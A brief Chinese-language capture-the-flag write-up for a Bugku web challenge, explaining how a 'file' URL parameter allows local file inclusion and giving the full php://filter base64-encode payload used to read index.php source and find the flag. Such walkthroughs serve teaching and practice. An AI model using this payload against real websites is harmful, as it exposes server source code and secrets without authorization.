Bugku-web

bugku-web wp

13.打开网页也不知道是什么gui蹲西
点击测试网页，发现url 为：“http://your test ip/index.php?file=show.php”中参数有file选项，让我们联想到了文件包含漏洞。构造url=“http://your test ip/index.php?file=php://filter/read=convert.base64-encode/resource=index.php” , 网页返回base64

php://filter/read/convert.base64-encode/resource=index.php 这句话的意思是我们用base64编码的方式来读文件index.php；这时页面会显示出源文件index.php经过base64编码后的内容，然后经过base64解码就可以看到flag